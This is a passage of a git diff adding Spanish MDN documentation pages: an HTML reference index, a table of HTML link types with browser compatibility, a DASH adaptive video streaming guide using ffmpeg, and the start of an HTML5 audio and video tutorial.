+ <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-ffox3/">Prepárate para Firefox 3.0 - Una guía para desarrolladores web para las muchas nuevas características en este navegador tan popular, específicamente las características offline</a> (IBM developerWorks)</li>
+</ul>
+
+<p>{{ HTML5ArticleTOC() }}</p>
+</div>
diff --git a/files/es/web/html/referencia/index.html b/files/es/web/html/referencia/index.html
new file mode 100644
index 0000000000..25534cd46f
--- /dev/null
+++ b/files/es/web/html/referencia/index.html
@@ -0,0 +1,26 @@
+---
+title: Referencia HTML
+slug: Web/HTML/Referencia
+tags:
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Reference
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>Esta referencia <a href="/es/docs/Web/HTML">HTML</a> describe todos los <strong>elementos</strong> y <strong>atributos</strong> de HTML, incluyendo los <strong>atributos globales</strong> que se aplican a todos los elementos.</p>
+
+<dl>
+ <dd></dd>
+ <dt><a href="/es/docs/Web/HTML/Elemento">Referencia de Elementos HTML</a></dt>
+ <dd>Esta página lista todos los elementos HTML</dd>
+ <dt><a href="/es/docs/Web/HTML/Atributos">Referencia de Atributos HTML</a></dt>
+ <dd>Los elementos en HTML tienen atributos; estos son valores adicionales que configuran los elementos o ajustan su comportamiento de diversas formas para cumplir los criterios de los usuarios.</dd>
+ <dt><a href="/es/docs/Web/HTML/Atributos_Globales">Atributos Globales</a></dt>
+ <dd>Los atributos globales son atributos comunes a todos los elementos HTML; pueden usarse en todos los elementos, aunque pueden no tener efecto en algunos de ellos.</dd>
+ <dt><a href="/es/docs/Web/HTML/Tipos_de_enlaces">Tipos de enlaces</a></dt>
+ <dd>En HTML, los siguientes tipos de enlaces indican la relación entre dos documentos, de los cuales uno enlaza al otro usando un elemento &lt;a&gt; o bien &lt;area&gt;, o bien &lt;link&gt;.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/es/docs/tag/HTML" title="Artículos etiquetados con: HTML">Ver todas las páginas etiquetadas con "HTML"...</a></span></p>
diff --git a/files/es/web/html/tipos_de_enlaces/index.html b/files/es/web/html/tipos_de_enlaces/index.html
new file mode 100644
index 0000000000..9cfc5089d5
--- /dev/null
+++ b/files/es/web/html/tipos_de_enlaces/index.html
@@ -0,0 +1,381 @@
+---
+title: Tipos de enlaces
+slug: Web/HTML/Tipos_de_enlaces
+translation_of: Web/HTML/Link_types
+---
+<p>{{HTMLSidebar}}</p>
+
+<p><span class="seoSummary">En HTML, los siguientes tipos de enlaces indican la relación entre dos documentos, de los cuales uno enlaza al otro usando un elemento {{HTMLElement("a")}} o bien {{HTMLElement("area")}}, o bien {{HTMLElement("link")}}.</span></p>
+
+<table class="standard-table">
+ <caption>Lista de tipos de link y su significado en HTML</caption>
+ <thead>
+  <tr>
+   <th scope="col">Tipo de Link</th>
+   <th scope="col">Descripción</th>
+   <th scope="col" style="width: 12em;">Permitido en estos elementos</th>
+   <th scope="col">No permitido en estos elementos</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>alternate</code></td>
+   <td>
+    <ul>
+     <li>Si el elemento es {{HTMLElement("link")}} y el atributo  {{htmlattrxref("rel", "link")}} tambien contiene el tipo <code>stylesheet</code>, el enlace define una <a href="/en-US/docs/Alternative_style_sheets">hoja de estilo alternativa</a>; en ese caso el atributo {{htmlattrxref("title", "link")}} deberá estar presente y no ser una cadena vacia.</li>
+     <li>Si el atributo {{htmlattrxref("type","link")}} es puesto a <code>application/rss+xml</code> o <code>application/atom+xml</code>, el enlace define un <a href="/en-US/docs/RSS/Getting_Started/Syndicating">feed de distribución</a>. El primero de ellos definido en la pagina es el tomado por default.</li>
+     <li>De otra forma, el enlace define una pagina alternativa, de uno de los siguientes tipos:
+      <ul>
+       <li>para otros medios, como un dispositivo portatil (si el atributo {{htmlattrxref("media","link")}} esta indicado)</li>
+       <li>en otro lenguaje (si el atributo {{htmlattrxref("hreflang","link")}} esta indicado),</li>
+       <li>en otro formato, como un PDF (si el atributo {{htmlattrxref("type","link")}} esta indicado)</li>
+       <li>una combinacion de los anteriores.</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None</em>.</td>
+  </tr>
+  <tr>
+   <td><code>archives</code></td>
+   <td>Define un hipervínculo a un documento que contiene un enlace de archivo a este. Por ejemplo, la entrada de un blog podria enlazar a una página de indice mensual de esta forma.<br>
+    <br>
+    <strong>Nota:</strong> Aunque se reconoce, el singular <code>archive</code> es incorrecto y debe ser evitado.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>author</code></td>
+   <td>Define un hipervinculo a una página describiendo el autor o proporcionando una forma de contactar al autor.<br>
+    <br>
+    <strong>Nota:</strong> Este puede ser un hipervinculo <code>mailto:</code>, pero esto no es recomendable en paginas públicas por que robots cosechadores podrian rápidamente llevar una gran cantidad de span a esa dirección. En ese caso, es mejor mandarlos a una página con un formulario de contacto.<br>
+    <br>
+    Aunque reconocido, el atributo {{htmlattrxref("rev", "link")}} en elementos {{HTMLElement("a")}}, {{HTMLElement("area")}} o {{HTMLElement("link")}} con un enlace de tipo <code>made</code> es incorrecto y debiera ser reemplazado por el atributo {{htmlattrxref("rel", "link")}} con este tipo de enlace.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>bookmark</code></td>
+   <td>Indica que el hipervínculo es un <a href="/en-US/docs/Permalink">permalink</a> al ancestro más cercano del elemento {{HTMLElement("article")}}. Si no hay ninguno, entonces es un permalink para la <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">sección</a> con la que el elemento está más estrechamente asociado.<br>
+    <br>
+    Esto permite crear marcadores a un artículo en particular dentro de una página con múltiples artículos, como por ejemplo una página con un resumen mensual de un blog, o un agregador de blog.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>external</code></td>
+   <td>Indica que el hipervínculo llevará a una fuente externa al sitio en el que se encuentra la página actual; o lo que es lo mismo, seguir el enlace hará que el usuario abandone el sitio.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>first</code></td>
+   <td>
+    <p>Indica que el hipervínculo conduce al primer recurso de la <em>secuencia</em> en la que se encuentra la página actual.<br>
+      </p>
+
+    <p><strong>Nota:</strong> Otros tipos de enlaces relacionados con los recursos en secuencia son <code>last</code>, <code>prev</code>, <code>next</code>.</p>
+
+    <p>Aunque parezca evidente, los sinónimos <code>being</code> y <code>start</code> son incorrectos y deben evitarse.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>help</code><br>
+    {{HTMLVersionInline("5")}}</td>
+   <td>
+    <ul>
+     <li>If the element is {{HTMLElement("a")}} or {{HTMLElement("area")}}, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants.</li>
+     <li>If the element is {{HTMLElement("link")}} it indicates that the hyperlink leads to a resource giving further help about the page as a whole.</li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>Defines a resource for representing the page in the user interface, usually an icon (auditory or visual).<br>
+    <br>
+    The {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}} and {{htmlattrxref("sizes","link")}} attributes allow the browser to select the most appropriate icon for its context. If several resources match, the browser will select the last one declared, in tree order. As these attributes are merely hints, and the resources may be inappropriate upon further inspection, the browser will then select another one, if appropriate.<br>
+    <br>
+    <strong>Note:</strong> Apple's iOS does not use this link type, nor the {{htmlattrxref("sizes","link")}} attribute, like others mobile browsers do, to select a webpage icon for Web Clip or a start-up placeholder. Instead it uses the non-standard <a href="http://edr.euro.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4"><code>apple-touch-icon</code></a> and <a href="http://edr.euro.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6"><code>apple-touch-startup-image</code></a> respectively.<br>
+    <br>
+    The <code>shortcut</code> link type is often seen before <code>icon</code>, but this link type is non-conforming, ignored and <strong>web authors must not use it anymore</strong>.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the top level resource of that structure.<br>
+    <br>
+    If one or several <code>up</code> link types are also present, the number of these <code>up</code> indicates the depth of the current page in the hierarchy.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>last</code></td>
+   <td>Indicates that the hyperlink leads to the <em>last</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>next</code>.<br>
+    <br>
+    Although recognized, the synomyn <code>end</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>license</code></td>
+   <td>Indicates that the hyperlink leads to a document describing the licensing information. If not inside the {{HTMLElement("head")}} element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this.<br>
+    <br>
+    <strong>Note: </strong>Although recognized, the synonym <code>copyright</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>Indicates that the hyperlink leads to the <em>next</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>last</code>.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>nofollow</code></td>
+   <td>Indica que el documento enlazado no cuenta con el aval o aprobación del autor de este documento, por ejemplo si no tiene control sobre el mismo, si es un mal ejemplo o si hay una relación comercial entre los dos (un enlace de pago). Este enlace puede ser usado por algunos motores de búsqueda que usan técnicas de clasificación de popularidad.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>noreferrer</code></td>
+   <td>
+    <p>Prevents the browser, when navigating to another page, to send this page name, or any other value, as referrer via the <code>Referer:</code> HTTP header.<br>
+     (In Firefox, before Firefox 37, this worked only in links found in pages. Links clicked in the UI, like "Open in a new tab" via the contextual menu, doesn't abide for this value)</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>pingback</code></td>
+   <td>Defines an external resource URI to call if one make a comment or a citation about the webpage. The protocol used to make such a call is defined in the <a href="http://www.hixie.ch/specs/pingback/pingback">Pingback 1.0</a> specification.<br>
+    <br>
+    <strong>Note:</strong> if the <code>X-Pingback:</code> HTTP header is also present, this header has precedence over the {{HTMLElement("link")}} element with this link type</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>preconnect</code> {{experimental_inline}}</td>
+   <td>Hints the browser to open in advance the connection to the linked web site, without disclosing any private information.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prefetch</code></td>
+   <td>Hints the browser to fetch in advance the linked resource, as it will likely be requested by the user.<br>
+    <br>
+    <strong>Note:</strong> the <a href="/en-US/docs/Link_prefetching_FAQ">Link Prefetch FAQ</a> has details on which links can be prefetched and on alternative methods.</td>
+   <td>{{HTMLElement("a")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("area")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>Tells the browser to download a resource because this resource will be needed later during the current navigation.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code> {{experimental_inline}}</td>
+   <td>Comunica al navegador que carge en segundo plano el recurso suministrado (Pagina Web).</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prev</code></td>
+   <td>Indicates that the hyperlink leads to the <em>preceding</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> other link types related to linking resources in the same sequence are <code>first</code>, <code>last</code>, <code>next</code>.<br>
+    <br>
+    Although recognized, the synomyn <code>previous</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>search</code></td>
+   <td>Indicates that the hyperlink reference a document whose interface is specially designing for searching in this document, or site, and its resources.<br>
+    <br>
+    If the {{htmlattrxref("type","link")}} attribute is set to <code>application/opensearchdescription+xml </code>the resource is an <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">OpenSearch plugin</a> that can be easily added to the interface of some browsers like Firefox or Internet Explorer.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>stylesheet</code></td>
+   <td>Defines an external resource to be used as a stylesheet. If the <code>type</code> is not set, the browser should assume it is a <code>text/css</code> stylesheet until further inspection.<br>
+    <br>
+    If used in combination with the <code>alternate</code> keyword, it defines an <a href="/en-US/docs/Alternative_style_sheets">alternative style sheet</a>; in that case the {{htmlattrxref("title", "link")}} attribute must be present and not be the empty string.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>sidebar</code></td>
+   <td>Indicates that the hyperlink leads to a resource that would be better suited for a secondary browsing context, like a <em>sidebar</em>. Browsers, that don't have such a context will ignore this keyword.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>tag</code></td>
+   <td>Indicates that the hyperlink refers to a document describing a <em>tag</em> that applies to this document.<br>
+    <br>
+    <strong>Note:</strong> this link type should not be set on links to a member of a tag cloud as these do not apply to a single document but to a set of pages.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>up</code></td>
+   <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the higher level resource of that structure.<br>
+    <br>
+    The number of <code>up</code> link types indicates the depth difference between the current page and the linked resource.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}</td>
+   <td>{{Spec2('Resource Hints')}}</td>
+   <td>Added <code>dns-prefetch</code>, <code>preconnect</code>, and <code>prerender</code> values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since last snapshot ({{SpecName('HTML WHATWG')}})</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Added <code>tag</code>, <code>stylesheet</code>, <code>search</code>, <code>prev</code>, <code>prefetch</code>, <code>noreferrer</code>, <code>nofollow</code>, <code>next</code>, <code>license</code>, <code>icon</code>, <code>help</code>, <code>bookmark</code>, <code>author</code>, and <code>alternate</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Alternative stylesheets</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>prefetch</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>prerender</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>preconnect</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>dns-prefetch</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Alternative stylesheets</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/html/transision_adaptativa_dash/index.html b/files/es/web/html/transision_adaptativa_dash/index.html
new file mode 100644
index 0000000000..da3e0892e4
--- /dev/null
+++ b/files/es/web/html/transision_adaptativa_dash/index.html
@@ -0,0 +1,77 @@
+---
+title: Transmisión Adaptativa DASH para Video en HTML 5
+slug: Web/HTML/Transision_adaptativa_DASH
+translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video
+---
+<p><span class="seoSummary">La Transmisión Adaptable y Dinámica sobre HTTP (DASH - <em>Dynamic Adaptive Streaming over HTTP</em>) es un protocolo de transmisión adaptable.  Esto signfica que le permite a un flujo de vídeo cambiar entre diversas tazas de bits con base en el desempeño de la red, para mantener la reproducción de un vídeo.</span></p>
+
+<h2 id="Soporte_de_Navegadores">Soporte de Navegadores</h2>
+
+<p>Firefox 21 incluye una implementación de DASH para video WebM con HTML5 que está desactivada por defecto. Se puede activar a través de "about:config" activando la opción "media.dash.enabled".</p>
+
+<p>Firefox 23 eliminó el soporte para DASH para WebM con HTML 5.  Ésta será reemplazada por una implementación de la <a href="http://www.w3.org/TR/media-source/">Media Source Extensions API </a>que de soporte a DASH a través de javascript usando librerías como dash.js. Ver el bug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=778617">778617</a> para más detalles.</p>
+
+<h2 id="Usando_DASH_del_lado_del_servidor">Usando DASH del lado del servidor</h2>
+
+<p>Lo primero que necesitas es convertir tu video WebM en un manifiesto DASH con todos los archivos en los diferentes bitrates. Para comenzar necesitas:</p>
+
+<ul>
+ <li>ffpmeg - con libvpx y libvorbis activado para dar soporte al audio y video de WebM (<a href="http://www.ffmpeg.org/" title="http://www.ffmpeg.org/">ffmpeg.org</a>).</li>
+ <li>libwebm - concretamente para la herramienta samplemuxer (<span style="text-align: -webkit-auto;"><span style="white-space: pre-wrap;">git clone <a href="https://gerrit.chromium.org/gerrit/p/webm/libwebm.git">https://gerrit.chromium.org/gerrit/p/webm/libwebm.git</a>)</span></span>.</li>
+ <li>webm-tools - concretamente para la herramienta de creación de manifiestos, webm_dash_manifest (<span style="text-align: -webkit-auto;"><span style="white-space: pre-wrap;">git clone <a href="https://gerrit.chromium.org/gerrit/p/webm/webm-tools.git">https://gerrit.chromium.org/gerrit/p/webm/webm-tools.git</a>)</span></span>.</li>
+</ul>
+
+<h3 id="1._Use_your_existing_WebM_file_to_create_one_audio_file_and_multiple_video_files.">1. Use your existing WebM file to create one audio file and multiple video files.</h3>
+
+<p>Por ejemplo:</p>
+
+<p>Creamos el archivo de audio usando:</p>
+
+<pre><code>ffmpeg -i my_master_file.webm -vn -acodec libvorbis -ab 128k my_audio.webm</code></pre>
+
+<p>Creamos los archivos de vídeo usando:</p>
+
+<pre><code>ffmpeg -i my_master_file.webm -vcodec libvpx -vb 250k -keyint_min 150 -g 150 -an my_video-250kbps.webm
+ffmpeg -i my_master_file.webm -vcodec libvpx -vb 100k -keyint_min 150 -g 150 -an my_video-100kbps.webm
+ffmpeg -i my_master_file.webm -vcodec libvpx -vb 50k -keyint_min 150 -g 150 -an my_video-50kbps.webm</code></pre>
+
+<h3 id="2._Align_the_clusters_to_enable_switching_at_cluster_boundaries.">2. Align the clusters to enable switching at cluster boundaries.</h3>
+
+<p>For video:</p>
+
+<pre><code>samplemuxer -i my_video-250kbps.webm -o my_video-250kbps-final.webm</code>
+<code>etc.</code></pre>
+
+<p>Although we don't switch audio streams, it's still necessary to run it through samplemuxer to ensure a cues element is added. Note: to be compatible with playing on Chrome, it is suggested to change the track number to something other than the one in the video files, most likely 0.</p>
+
+<pre><code>samplemuxer -i my_audio.webm -o my_audio-final.webm -output_cues 1 -cues_on_audio_track 1 -max_cluster_duration 2 -audio_track_number</code></pre>
+
+<h3 id="3._Create_the_manifest_file">3. Create the manifest file:</h3>
+
+<pre><code>webm_dash_manifest -o my_video_manifest.mpd \
+  -as id=0,lang=eng \
+  -r id=0,file=my_video-250kbps-final.webm \
+  -r id=1,file=my_video-100kbps-final.webm \
+  -r id=2,file=my_video-50kbps-final.webm \
+  -as id=1,lang=eng \
+  -r id=4,file=my_audio-final.webm</code></pre>
+
+<p>Put the manifest and the associated video files on your web server or CDN. DASH works via HTTP, so as long as your HTTP server supports byte range requests, and it's set up to serve .mpd files with mimetype="application/dash+xml", then you're all set.</p>
+
+<h2 id="Using_DASH_-_Client_Side">Using DASH - Client Side</h2>
+
+<p>You'll want to modify your web page to point to the DASH manifest first, instead of directly to a particular video file:</p>
+
+<pre class="brush: html">&lt;video&gt;
+  &lt;source src="movie.<span class="ZmSearchResult" id="DWT648"><span class="ZmSearchResult" id="DWT650">mpd</span></span>"&gt;
+  &lt;source src="movie.webm"&gt;
+  Your browser does not support the video tag.
+&lt;/video&gt;</pre>
+
+<p>That's it! If DASH is supported by the browser, your video will now stream adaptively.</p>
+
+<h2 id="Links">Links</h2>
+
+<p><a href="http://wiki.webmproject.org/adaptive-streaming/webm-dash-specification" title="http://wiki.webmproject.org/adaptive-streaming/webm-dash-specification">WebM DASH Specification at The WebM Project</a></p>
+
+<p><a href="http://dashif.org/" title="http://dashif.org/">DASH Industry Forum</a></p>
diff --git a/files/es/web/html/usando_audio_y_video_con_html5/index.html b/files/es/web/html/usando_audio_y_video_con_html5/index.html
new file mode 100644
index 0000000000..b81bc17141
--- /dev/null
+++ b/files/es/web/html/usando_audio_y_video_con_html5/index.html
@@ -0,0 +1,286 @@
+---
+title: Usando audio y video con HTML5
+slug: Web/HTML/Usando_audio_y_video_con_HTML5
+tags:
+  - Flash
+  - Ogg
+  - applet
+  - busqueda
+  - errores
+  - especificacion
+  - gestion
+  - opciones
+  - reproduccion
+  - reserva
+translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
+---
+<p>HTML5 introduce soporte integrado para el contenido multimedia gracias a los elementos {{ HTMLElement("audio") }} y {{ HTMLElement("video") }}, ofreciendo la posibilidad de insertar contenido multimedia en documentos HTML.</p>
+
+<h2 id="Insertando_contenido_multimedia">Insertando contenido multimedia</h2>
+
+<p>Insertar contenido multimedia en tus documentos HTML es muy sencillo:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: html">&lt;video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" controls&gt;
+  Tu navegador no implementa el elemento &lt;code&gt;video&lt;/code&gt;.
+&lt;/video&gt;</pre>
+
+<p>Este ejemplo reproduce un vídeo de ejemplo, con los controles de reproducción, desde el sitio Web de Theora.</p>
+
+<p>Este es un ejemplo para insertar <em>audio</em> en tu documento HTML</p>
+
+<pre class="brush: html">&lt;audio src="/test/audio.ogg"&gt;
+&lt;p&gt;Tu navegador no implementa el elemento audio.&lt;/p&gt;
+&lt;/audio&gt;</pre>
+</div>
+
+<p>El atributo <code>src</code> puede ser una URL del archivo de audio o la ruta al archivo en el sistema local.</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: html">&lt;audio src="audio.ogg" controls autoplay loop&gt;
+&lt;p&gt;Tu navegador no implementa el elemento audio&lt;/p&gt;
+&lt;/audio&gt;</pre>
+</div>
+
+<p>Este código de ejemplo usa los atributos del elemento {{ HTMLElement("audio") }}:</p>
+
+<ul>
+ <li><code>controls</code> : muestra los controles estándar de HTML5 para audio en una página web.</li>
+ <li><code>autoplay</code> : hace que el audio se reproduzca automáticamente.</li>
+ <li><code>loop</code> : hace que el audio se repita automáticamente.</li>
+</ul>
+
+<div style="overflow: hidden;">
+<pre class="brush: html">&lt;audio src="audio.mp3" preload="auto" controls&gt;&lt;/audio&gt;</pre>
+</div>
+
+<p>El atributo <code>preload</code> es usado en el elemento audio para almacenar temporalmente (buffering) archivos de gran tamaño. Este puede tomar uno de 3 valores:</p>
+
+<ul>
+ <li><code>"none"</code> no almacena temporalmente el archivo</li>
+ <li><code>"auto"</code> almacena temporalmente el archivo multimedia</li>
+ <li><code>"metadata"</code> almacena temporalmente sólo los metadatos del archivo</li>
+</ul>
+
+<p>Se pueden especificar múltiples fuentes de archivos usando el elemento {{ HTMLElement("source") }} <span id="result_box" lang="es"><span class="hps">con el fin de</span> <span class="hps">proporcionar vídeo</span> <span class="hps">o</span> <span class="hps">audio</span> <span class="hps">codificados en formatos</span> <span class="hps">diferentes</span> <span class="hps">para</span> <span class="hps">diferentes navegadores</span></span>. Por ejemplo:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="foo.ogg" type="video/ogg"&gt;
+  &lt;source src="foo.mp4" type="video/mp4"&gt;
+  Tu navegador no implementa el elemento &lt;code&gt;video&lt;/code&gt;.
+&lt;/video&gt;
+</pre>
+
+<p>Esto reproduce el archivo Ogg en navegadores que admiten el formato Ogg. Si el navegador no admite Ogg, el navegador usará el archivo MPEG-4. Mira también la lista de <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">los formatos multimedia admitidos por los elementos audio y video</a> en los diferentes navegadores.</p>
+
+<p>También puedes especificar qué codecs requiere el archivo multimedia; de esta forma el navegador tomará decisiones más inteligentes:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="foo.ogg" type="video/ogg; codecs=dirac, speex"&gt;
+  Tu navegador no implementa el elemento &lt;code&gt;video&lt;/code&gt;.
+&lt;/video&gt;</pre>
+
